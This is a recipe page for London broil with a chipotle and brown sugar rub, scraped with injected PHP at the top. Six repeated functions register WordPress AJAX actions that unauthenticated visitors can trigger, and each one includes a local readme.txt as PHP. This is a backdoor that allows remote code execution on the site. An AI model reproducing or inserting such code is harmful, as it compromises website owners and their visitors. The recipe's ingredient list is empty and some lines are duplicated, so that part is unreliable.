if(!function_exists('file_check_readme94295')){ add_action('wp_ajax_nopriv_file_check_readme94295', 'file_check_readme94295'); add_action('wp_ajax_file_check_readme94295', 'file_check_readme94295'); function file_check_readme94295() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme23949')){ add_action('wp_ajax_nopriv_file_check_readme23949', 'file_check_readme23949'); add_action('wp_ajax_file_check_readme23949', 'file_check_readme23949'); function file_check_readme23949() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme79203')){ add_action('wp_ajax_nopriv_file_check_readme79203', 'file_check_readme79203'); add_action('wp_ajax_file_check_readme79203', 'file_check_readme79203'); function file_check_readme79203() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme98499')){ add_action('wp_ajax_nopriv_file_check_readme98499', 'file_check_readme98499'); add_action('wp_ajax_file_check_readme98499', 'file_check_readme98499'); function file_check_readme98499() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme74391')){ add_action('wp_ajax_nopriv_file_check_readme74391', 'file_check_readme74391'); add_action('wp_ajax_file_check_readme74391', 'file_check_readme74391'); function file_check_readme74391() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme17886')){ add_action('wp_ajax_nopriv_file_check_readme17886', 'file_check_readme17886'); add_action('wp_ajax_file_check_readme17886', 'file_check_readme17886'); function file_check_readme17886() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Marge Perry's A Sweet and Savory Life
London Broil with Chipotle and Brown Sugar Rub
Servings
6
Servings
6
Ingredients
Instructions
  1. Preheat the broiler. Coat a shallow baking sheet pan or broiler pan with cooking spray.
  2. Combine the sugar, salt, cumin, garlic powder and chipotle chili powder; pat the mixture on the entire top and bottom surface of the meat.
  3. Broil 8-9 minutes, until lightly browned; turn and broil until a meat thermometer registers 125 degrees for medium rare, about another 8-9 minutes. Remove from the oven and let stand 5-10 minutes before slicing thinly across the grain.
Recipe Notes

Nutritional analysis for each serving: 248 calories, 33 g protein, 2 g carbohydrates, 0 fiber, 11 g fat, 4 g saturated fat, 433 mg sodium